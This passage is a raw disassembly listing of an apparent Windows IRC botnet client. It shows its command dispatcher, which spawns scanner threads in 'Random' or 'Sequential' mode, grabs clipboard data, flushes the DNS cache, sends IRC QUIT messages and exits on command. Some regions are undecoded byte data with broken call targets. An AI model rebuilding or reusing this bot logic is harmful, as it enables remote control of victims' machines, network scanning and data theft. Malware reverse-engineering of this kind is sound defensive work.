		mov	eax, [ebp+8]
		mov	ecx, eax
		mov	[ebp-300h], eax
		imul	ecx, 3Ch
		mov	ecx, ds:dword_427300[ecx]
		mov	[ebp-31Ch], ecx


loc_411A26:				; CODE XREF: seg000:004119E3j
					; seg000:00411A0Aj
		cmp	[ebp-31Ch], ebx
		jz	loc_411C2F
		push	10h
		lea	eax, [ebp+18h]
		pop	esi
		push	eax
		lea	eax, [ebp-2D8h]
		push	eax
		mov	[ebp+18h], esi
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A31C	; getsockname
		mov	al, [ebp-9B3h]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp-2D4h], eax
		push	dword ptr [ebp-2D4h]
		call	ds:dword_43A404	; inet_ntoa
		push	eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_416D20
		xor	eax, eax
		cmp	[ebp-9B3h], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_417020
		add	esp, 14h
		cmp	edi, ebx
		mov	[ebp+2Fh], bl
		jle	short loc_411AC8


loc_411AA6:				; CODE XREF: seg000:00411AC6j
		cmp	eax, ebx
		jz	short loc_411AC8
		mov	byte ptr [eax],	78h
		lea	eax, [ebp-430h]
		push	30h
		push	eax
		call	sub_417020
		inc	byte ptr [ebp+2Fh]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+2Fh]
		cmp	ecx, edi
		jl	short loc_411AA6


loc_411AC8:				; CODE XREF: seg000:00411AA4j
					; seg000:00411AA8j
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp-8Ch]
		mov	esi, [ebp-4]
		mov	[ebp-320h], eax
		mov	eax, [ebp-8]
		mov	edi, 80h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-420h]
		push	edi
		push	eax
		mov	dword ptr [ebp-2F0h], 1
		mov	[ebp-2F8h], esi
		call	sub_415A4A
		push	offset byte_438F9C
		push	offset aSf1	; "#sf1"
		call	sub_4158F0
		add	esp, 14h
		test	eax, eax
		jz	short loc_411B32
		push	offset aSf1	; "#sf1"
		lea	eax, [ebp-3A0h]
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 0Ch
		jmp	short loc_411B38
; ---------------------------------------------------------------------------


loc_411B32:				; CODE XREF: seg000:00411B19j
		mov	[ebp-3A0h], bl


loc_411B38:				; CODE XREF: seg000:00411B30j
		cmp	[ebp-2F0h], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_411B4A
		mov	eax, offset aSequential	; "Sequential"


loc_411B4A:				; CODE XREF: seg000:00411B43j
		push	dword ptr [ebp-304h]
		lea	ecx, [ebp-430h]
		push	dword ptr [ebp-314h]
		push	dword ptr [ebp-318h]
		push	dword ptr [ebp-31Ch]
		push	ecx
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_433BF8
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	8
		push	eax
		call	sub_414F79
		add	esp, 2Ch
		mov	[ebp-310h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-430h]
		push	ebx
		push	eax
		push	offset sub_407983
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-310h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F51C[ecx], eax
		jz	short loc_411BD4


loc_411BC2:				; CODE XREF: seg000:00411BD2j
		cmp	[ebp-2ECh], ebx
		jnz	short loc_411BEF
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_411BC2
; ---------------------------------------------------------------------------


loc_411BD4:				; CODE XREF: seg000:00411BC0j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_434CA4
		push	eax
		call	sub_4154CD
		add	esp, 0Ch


loc_411BEF:				; CODE XREF: seg000:00411BC8j
		cmp	[ebp-8], ebx
		jnz	short loc_411C0E
		push	ebx
		lea	eax, [ebp-2C8h]
		push	esi
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 14h


loc_411C0E:				; CODE XREF: seg000:00411BF2j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_40B151
		pop	ecx


loc_411C1B:				; CODE XREF: seg000:004119B0j
		add	dword ptr [ebp+20h], 0Bh
		mov	eax, [ebp+20h]
		cmp	[eax], bl
		jnz	loc_411966
		jmp	loc_40D1FD
; ---------------------------------------------------------------------------


loc_411C2F:				; CODE XREF: seg000:0040FE13j
					; seg000:00411A2Cj
		push	offset dword_433BAC
		jmp	loc_412012
; ---------------------------------------------------------------------------


loc_411C39:				; CODE XREF: seg000:0040E5E9j
					; seg000:0040E5FEj
		push	4
		call	sub_4151C1
		test	eax, eax
		pop	ecx
		jle	short loc_411C4F
		push	offset unk_433B78
		jmp	loc_40EB8B
; ---------------------------------------------------------------------------


loc_411C4F:				; CODE XREF: seg000:00411C43j
		mov	eax, [ebp+esi-90h]
		cmp	eax, ebx
		jz	short loc_411C72
		push	eax
		mov	edi, 104h
		lea	eax, [ebp-804h]
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 0Ch
		jmp	short near ptr loc_411C85+1
; ---------------------------------------------------------------------------


loc_411C72:				; CODE XREF: seg000:00411C58j
		mov	edi, 104h
		lea	eax, [ebp-804h]
		push	edi
		push	eax
		push	ebx
		call	near ptr 3D0000h


loc_411C85:				; CODE XREF: seg000:00411C70j
		fimul	dword ptr [ebx-8BCA4Ch]
; ---------------------------------------------------------------------------
		db 0FFh
		dd 75F33BFFh, 0C1B8BE05h, 8D560042h, 0FFF90085h, 0E85057FFh
		dd 3DA6h, 42C150A1h, 0FF7F6A00h, 0FFFF74B5h, 0C8589FFh
		dd 8BFFFFFAh, 9D890C45h, 0FFFFFA08h, 0F7F88589h, 858DFFFFh
		dd 0FFFFFA10h, 504EE850h, 458B0000h, 908589FCh,	8BFFFFFAh
		dd 8589F845h, 0FFFFFA94h, 0F900858Dh, 8D50FFFFh, 0FFF7FC85h
		dd 858D50FFh, 0FFFFFD38h, 0FA0CB5FFh, 0BC68FFFFh, 50004278h
		dd 37C4E8h, 858D5300h, 0FFFFFD38h, 0E850046Ah, 3261h, 8938C483h
		dd 0FFFA0485h, 0F0458DFFh, 0F8858D50h, 53FFFFF7h, 6C226850h
		dd 53530040h, 108C15FFh, 8D8B0042h, 0FFFFFA04h,	234C969h
		dd 0C33B0000h, 0F51C8189h, 16740043h, 0FA989D39h, 850FFFFFh
		dd 0FFFFCF4Bh, 15FF326Ah, 421060h, 15FFEAEBh, 421088h
		dd 3B2C6850h, 21E90043h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_411D77:				; CODE XREF: seg000:0040E5BFj
					; seg000:0040E5D4j
		mov	edi, [ebp+esi-90h]
		cmp	edi, ebx
		jz	short loc_411D96
		push	edi
		call	sub_415A3F
		test	eax, eax
		pop	ecx
		jz	short loc_411D96
		push	edi
		call	sub_415A3F
		pop	ecx
		jmp	short loc_411D9B
; ---------------------------------------------------------------------------


loc_411D96:				; CODE XREF: seg000:00411D80j
					; seg000:00411D8Bj
		mov	eax, ds:dword_42C154


loc_411D9B:				; CODE XREF: seg000:00411D94j
		mov	esi, [ebp+esi-8Ch]
		mov	[ebp-584h], eax
		xor	eax, eax
		cmp	[ebp-9B0h], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp-570h], eax
		jz	short loc_411DCE
		lea	eax, [ebp-688h]
		push	esi
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx
		jmp	short loc_411DF9
; ---------------------------------------------------------------------------


loc_411DCE:				; CODE XREF: seg000:00411DBBj
		lea	eax, [ebp-3E8h]
		push	104h
		push	eax
		call	near ptr 3D0000h
		adc	dword ptr [ebx+53h], 0FD2C858Dh
; ---------------------------------------------------------------------------
		dw 0FFFFh
; ---------------------------------------------------------------------------
		push	ebx
		push	eax
		lea	eax, [ebp-3E8h]
		push	eax
		call	sub_417328
		add	esp, 14h


loc_411DF9:				; CODE XREF: seg000:00411DCCj
		lea	eax, [ebp-688h]
		push	eax
		call	sub_415CD0
		cmp	byte ptr [ebp+eax-689h], 5Ch
		pop	ecx
		jnz	short loc_411E24
		lea	eax, [ebp-688h]
		push	eax
		call	sub_415CD0
		pop	ecx
		mov	[ebp+eax-689h],	bl


loc_411E24:				; CODE XREF: seg000:00411E0Ej
		push	dword ptr [ebp-8Ch]
		mov	esi, [ebp+0Ch]
		lea	eax, [ebp-910h]
		mov	[ebp-914h], esi
		push	80h
		push	eax
		call	sub_415A4A
		mov	eax, [ebp-8]
		mov	edi, [ebp-4]
		add	esp, 0Ch
		mov	[ebp-574h], eax
		lea	eax, [ebp-688h]
		mov	[ebp-578h], edi
		push	eax
		push	dword ptr [ebp-584h]
		push	esi
		call	sub_40A155
		pop	ecx
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_42778C
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	3
		push	eax
		call	sub_414F79
		add	esp, 20h
		mov	[ebp-57Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-914h]
		push	ebx
		push	eax
		push	offset sub_405B07
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-57Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F51C[ecx], eax
		jz	short loc_411ED8


loc_411EC6:				; CODE XREF: seg000:00411ED6j
		cmp	[ebp-568h], ebx
		jnz	short loc_411EF3
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_411EC6
; ---------------------------------------------------------------------------


loc_411ED8:				; CODE XREF: seg000:00411EC4j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_433AE0


loc_411EE4:				; CODE XREF: seg000:0041032Dj
					; seg000:00410427j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		add	esp, 0Ch


loc_411EF3:				; CODE XREF: seg000:00410311j
					; seg000:0041040Bj ...
		cmp	[ebp-8], ebx
		jnz	loc_412834
		push	ebx
		push	edi


loc_411EFE:				; CODE XREF: seg000:0040FBD9j
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	esi
		jmp	loc_40F7B2
; ---------------------------------------------------------------------------


loc_411F11:				; CODE XREF: seg000:0040E595j
					; seg000:0040E5AAj
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_411F24
		push	esi
		call	sub_415A3F
		jmp	short loc_411F2B
; ---------------------------------------------------------------------------


loc_411F24:				; CODE XREF: seg000:00411F1Aj
		push	8
		call	sub_4151E0


loc_411F2B:				; CODE XREF: seg000:00411F22j
		cmp	eax, ebx
		pop	ecx
		jz	loc_412974
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4071E3


loc_411F46:				; CODE XREF: seg000:004123D2j
		add	esp, 10h
		jmp	loc_412974
; ---------------------------------------------------------------------------


loc_411F4E:				; CODE XREF: seg000:0040E56Bj
					; seg000:0040E580j
		mov	eax, ds:dword_43A2A0
		cmp	eax, ebx
		jz	short loc_411F6B
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		jz	short loc_411F64
		push	offset unk_433AA8
		jmp	short loc_411F80
; ---------------------------------------------------------------------------


loc_411F64:				; CODE XREF: seg000:00411F5Bj
		push	offset unk_433A68
		jmp	short loc_411F80
; ---------------------------------------------------------------------------


loc_411F6B:				; CODE XREF: seg000:00411F55j
		push	offset unk_433A28
		jmp	short loc_411F80
; ---------------------------------------------------------------------------


loc_411F72:				; CODE XREF: seg000:0040E541j
					; seg000:0040E556j
		call	sub_40A077
		test	eax, eax
		jz	short loc_411F96
		push	offset unk_4339F0


loc_411F80:				; CODE XREF: seg000:00411F62j
					; seg000:00411F69j ...
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_415A4A
		jmp	loc_41285B
; ---------------------------------------------------------------------------


loc_411F96:				; CODE XREF: seg000:00411F79j
		push	offset unk_4339B0
		jmp	short loc_411F80
; ---------------------------------------------------------------------------


loc_411F9D:				; CODE XREF: seg000:0040E517j
					; seg000:0040E52Cj
		cmp	[ebp-8], ebx
		jnz	short loc_411FBC
		push	ebx
		push	dword ptr [ebp-4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 14h


loc_411FBC:				; CODE XREF: seg000:00411FA0j
		push	ebx
		push	dword ptr [ebp-4]
		call	sub_409C76
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		push	offset dword_43396C
		jmp	loc_4122A4
; ---------------------------------------------------------------------------


loc_411FDE:				; CODE XREF: seg000:0040E437j
					; seg000:0040E44Cj
		push	7
		call	sub_4151C1
		test	eax, eax
		pop	ecx
		jle	short loc_411FF1
		push	offset dword_433930
		jmp	short loc_412012
; ---------------------------------------------------------------------------


loc_411FF1:				; CODE XREF: seg000:00411FE8j
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40A7E1
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41200D
		push	offset dword_4338F4
		jmp	short loc_412012
; ---------------------------------------------------------------------------


loc_41200D:				; CODE XREF: seg000:00412004j
		push	offset dword_4338C0


loc_412012:				; CODE XREF: seg000:0040F976j
					; seg000:0040FAA6j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx
		jmp	loc_40F795
; ---------------------------------------------------------------------------


loc_412025:				; CODE XREF: seg000:0040E40Dj
					; seg000:0040E422j
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_409663
		jmp	loc_40D1FA
; ---------------------------------------------------------------------------


loc_41203E:				; CODE XREF: seg000:0040E3E3j
					; seg000:0040E3F8j
		push	dword ptr [ebp+esi-90h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40C4F9
		jmp	loc_40D1FA
; ---------------------------------------------------------------------------


loc_41205B:				; CODE XREF: seg000:0040E3B9j
					; seg000:0040E3CEj
		or	edi, 0FFFFFFFFh
		call	ds:dword_42104C	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		mov	[ebp+8], eax
		jz	short loc_412084
		push	esi
		call	sub_415A3F
		pop	ecx
		mov	edi, eax


loc_412084:				; CODE XREF: seg000:00412079j
		mov	eax, [ebp+8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_41209D
		cmp	edi, 0FFFFFFFFh
		jnz	loc_412974


loc_41209D:				; CODE XREF: seg000:00412092j
		push	ebx
		call	sub_40A996
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_433894
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_40B151
		jmp	loc_410162
; ---------------------------------------------------------------------------


loc_4120DF:				; CODE XREF: seg000:0040E38Fj
					; seg000:0040E3A4j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4085B7
		lea	eax, [ebp-2C8h]
		push	offset unk_433860
		push	eax
		call	sub_4154CD
		add	esp, 14h
		jmp	loc_40ECA7
; ---------------------------------------------------------------------------


loc_412109:				; CODE XREF: seg000:0040E365j
					; seg000:0040E37Aj
		push	1Eh
		call	sub_4151C1
		test	eax, eax
		pop	ecx
		jle	short loc_412132
		cmp	[ebp-8], ebx
		jnz	loc_40D1FD
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_43382C
		push	dword ptr [ebp-8Ch]
		jmp	loc_40D75B
; ---------------------------------------------------------------------------


loc_412132:				; CODE XREF: seg000:00412113j
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-4DCh]
		push	80h
		push	eax
		call	sub_415A4A
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-90h]
		mov	[ebp-4E0h], eax
		mov	eax, [ebp-4]
		mov	[ebp-454h], eax
		mov	eax, [ebp-8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp-450h], eax
		mov	[ebp-458h], ebx
		jz	short loc_412193
		push	esi
		push	offset aFull	; "full"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412193
		mov	dword ptr [ebp-458h], 1


loc_412193:				; CODE XREF: seg000:00412176j
					; seg000:00412187j
		lea	eax, [ebp-2C8h]
		push	offset dword_4337F0
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	1Eh
		push	eax
		call	sub_414F79
		add	esp, 14h
		mov	[ebp-45Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4E0h]
		push	ebx
		push	eax
		push	offset sub_413F69
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-45Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F51C[ecx], eax
		jz	short loc_412201


loc_4121EB:				; CODE XREF: seg000:004121FFj
		cmp	[ebp-44Ch], ebx
		jnz	loc_412834
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_4121EB
; ---------------------------------------------------------------------------


loc_412201:				; CODE XREF: seg000:004121E9j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4337A0
		jmp	loc_412825
; ---------------------------------------------------------------------------


loc_412212:				; CODE XREF: seg000:0040E33Bj
					; seg000:0040E350j
		cmp	[ebp-8], ebx
		jnz	short loc_412231
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_433774
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 14h


loc_412231:				; CODE XREF: seg000:00412215j
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A410	; closesocket
		call	ds:dword_43A2D8	; WSACleanup
		call	sub_409DF9
		push	ebx
		call	ds:dword_421114	; ExitProcess


loc_41224C:				; CODE XREF: seg000:0040E311j
					; seg000:0040E326j
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40AAB5
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		push	offset dword_433748
		jmp	short loc_4122A4
; ---------------------------------------------------------------------------


loc_412277:				; CODE XREF: seg000:0040E2E7j
					; seg000:0040E2FCj
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+24h]
		push	eax
		call	sub_40AD69
		add	esp, 0Ch
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		push	offset dword_43371C


loc_4122A4:				; CODE XREF: seg000:00411FD9j
					; seg000:00412275j
		call	sub_40B151
		jmp	loc_410F14
; ---------------------------------------------------------------------------


loc_4122AE:				; CODE XREF: seg000:0040E2BDj
					; seg000:0040E2D2j
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40B1F1
		jmp	loc_40D1FA
; ---------------------------------------------------------------------------


loc_4122C7:				; CODE XREF: seg000:0040E293j
					; seg000:0040E2A8j
		cmp	[ebp-0Ch], ebx
		mov	[ebp-374h], bl
		jz	short loc_412306
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_412306
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_415AA0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_412306
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp-374h]
		push	80h
		push	eax
		call	sub_415A4A
		add	esp, 10h


loc_412306:				; CODE XREF: seg000:004122D0j
					; seg000:004122DBj ...
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-3F4h]
		push	80h
		push	eax
		call	sub_415A4A
		mov	eax, [ebp+0Ch]
		push	offset dword_4336F0
		mov	[ebp-3F8h], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F0h], eax
		mov	eax, [ebp-8]
		mov	[ebp-2ECh], eax
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	1Ch
		push	eax
		call	sub_414F79
		add	esp, 20h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-3F8h]
		push	ebx
		push	eax
		push	offset sub_40B263
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-2F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F51C[ecx], eax
		jz	short loc_4123A6


loc_412390:				; CODE XREF: seg000:004123A4j
		cmp	[ebp-2E8h], ebx
		jnz	loc_40D1FD
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_412390
; ---------------------------------------------------------------------------


loc_4123A6:				; CODE XREF: seg000:0041238Ej
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4336A4
		jmp	loc_40D3E6
; ---------------------------------------------------------------------------


loc_4123B7:				; CODE XREF: seg000:0040E269j
					; seg000:0040E27Ej
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40B0D9
		push	offset dword_433678
		call	sub_40B151
		jmp	loc_411F46
; ---------------------------------------------------------------------------


loc_4123D7:				; CODE XREF: seg000:0040E23Fj
					; seg000:0040E254j
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-4DCh]
		push	80h
		push	eax
		call	sub_415A4A
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-90h]
		mov	[ebp-4E0h], eax
		mov	eax, [ebp-4]
		mov	[ebp-454h], eax
		mov	eax, [ebp-8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp-450h], eax
		jz	short loc_412431
		push	offset dword_433674
		push	esi
		call	sub_4158F0
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp-458h], eax
		jmp	short loc_412437
; ---------------------------------------------------------------------------


loc_412431:				; CODE XREF: seg000:00412415j
		mov	[ebp-458h], ebx


loc_412437:				; CODE XREF: seg000:0041242Fj
		lea	eax, [ebp-2C8h]
		push	offset dword_433644
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	1Fh
		push	eax
		call	sub_414F79
		add	esp, 14h
		mov	[ebp-45Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4E0h]
		push	ebx
		push	eax
		push	offset dword_414FE4
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-45Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F51C[ecx], eax
		jz	short loc_4124A1


loc_41248F:				; CODE XREF: seg000:0041249Fj
		cmp	[ebp-44Ch], ebx
		jnz	short loc_4124BC
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_41248F
; ---------------------------------------------------------------------------


loc_4124A1:				; CODE XREF: seg000:0041248Dj
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4335F8


loc_4124AD:				; CODE XREF: seg000:0041135Aj
					; seg000:00411473j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		add	esp, 0Ch


loc_4124BC:				; CODE XREF: seg000:0040F6FAj
					; seg000:0040F71Cj ...
		lea	eax, [ebp-2C8h]
		push	eax
		jmp	loc_40E4FD
; ---------------------------------------------------------------------------


loc_4124C8:				; CODE XREF: seg000:0040E1C3j
					; seg000:0040E1D8j
		push	offset aIds443	; "ids443"
		lea	eax, [ebp-2C8h]
		push	offset dword_4335CC
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 20h
		jmp	loc_40EF8B
; ---------------------------------------------------------------------------


loc_4124FF:				; CODE XREF: seg000:0040E199j
					; seg000:0040E1AEj
		push	ds:dword_4687F8
		call	sub_40A996
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_43358C
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 24h
		jmp	loc_40EF8B
; ---------------------------------------------------------------------------


loc_41253D:				; CODE XREF: seg000:0040E16Fj
					; seg000:0040E184j
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_41256F
		cmp	[ebp-0Ch], ebx
		jz	short loc_41257E
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_415AA0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41257E
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		add	esp, 0Ch
		jmp	short loc_41257E
; ---------------------------------------------------------------------------


loc_41256F:				; CODE XREF: seg000:00412546j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		pop	ecx
		pop	ecx


loc_41257E:				; CODE XREF: seg000:0041254Bj
					; seg000:0041255Aj ...
		push	0FFFFFFFEh
		jmp	loc_40D1FF
; ---------------------------------------------------------------------------


loc_412585:				; CODE XREF: seg000:0040E145j
					; seg000:0040E15Aj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		push	offset dword_433538
		call	sub_40B151
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_40D200
; ---------------------------------------------------------------------------


loc_4125A7:				; CODE XREF: seg000:0040E11Bj
					; seg000:0040E130j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		push	offset dword_4334F4
		call	sub_40B151
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_40D200
; ---------------------------------------------------------------------------


loc_4125C8:				; CODE XREF: seg000:0040E0F1j
					; seg000:0040E106j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_407119
		jmp	loc_410E7D
; ---------------------------------------------------------------------------


loc_4125DE:				; CODE XREF: seg000:0040E04Cj
					; seg000:0040E061j
		push	dword ptr [ebp+esi-90h]
		push	1Eh
		push	offset dword_4334E4
		push	offset dword_4334D8
		jmp	loc_40DE8C
; ---------------------------------------------------------------------------


loc_4125F6:				; CODE XREF: seg000:0040E022j
					; seg000:0040E037j
		push	dword ptr [ebp+esi-90h]
		push	1Bh
		push	offset dword_4334CC
		push	offset dword_4334BC
		jmp	loc_40DE8C
; ---------------------------------------------------------------------------


loc_41260E:				; CODE XREF: seg000:0040DE4Dj
					; seg000:0040DE62j
		mov	edi, [ebp+esi-90h]
		cmp	edi, ebx
		jz	short loc_41262D
		push	edi
		call	sub_415A3F
		test	eax, eax
		pop	ecx
		jz	short loc_41262D
		push	edi
		call	sub_415A3F
		pop	ecx
		jmp	short loc_412632
; ---------------------------------------------------------------------------


loc_41262D:				; CODE XREF: seg000:00412617j
					; seg000:00412622j
		mov	eax, ds:dword_42C14C


loc_412632:				; CODE XREF: seg000:0041262Bj
		mov	esi, [ebp+esi-8Ch]
		mov	[ebp-464h], eax
		cmp	esi, ebx
		jz	short loc_412657
		push	esi


loc_412644:				; CODE XREF: seg000:00412666j
		lea	eax, [ebp-474h]
		push	10h
		push	eax
		call	sub_415A4A
		add	esp, 0Ch
		jmp	short loc_41266E
; ---------------------------------------------------------------------------


loc_412657:				; CODE XREF: seg000:00412641j
		cmp	[ebp-9B3h], bl
		jz	short loc_412668
		lea	eax, [ebp-0C4h]
		push	eax
		jmp	short loc_412644
; ---------------------------------------------------------------------------


loc_412668:				; CODE XREF: seg000:0041265Dj
		mov	[ebp-474h], bl


loc_41266E:				; CODE XREF: seg000:00412655j
		mov	eax, [ebp-4]
		push	dword ptr [ebp-8Ch]
		mov	esi, [ebp+0Ch]
		mov	[ebp-458h], eax
		mov	eax, [ebp-8]
		push	80h
		mov	[ebp-454h], eax
		lea	eax, [ebp-4F4h]
		push	eax
		mov	[ebp-4F8h], esi
		call	sub_415A4A
		add	esp, 0Ch
		push	dword ptr [ebp-464h]
		push	esi
		call	sub_40A155
		pop	ecx
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset unk_427D24
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	11h
		push	eax
		call	sub_414F79
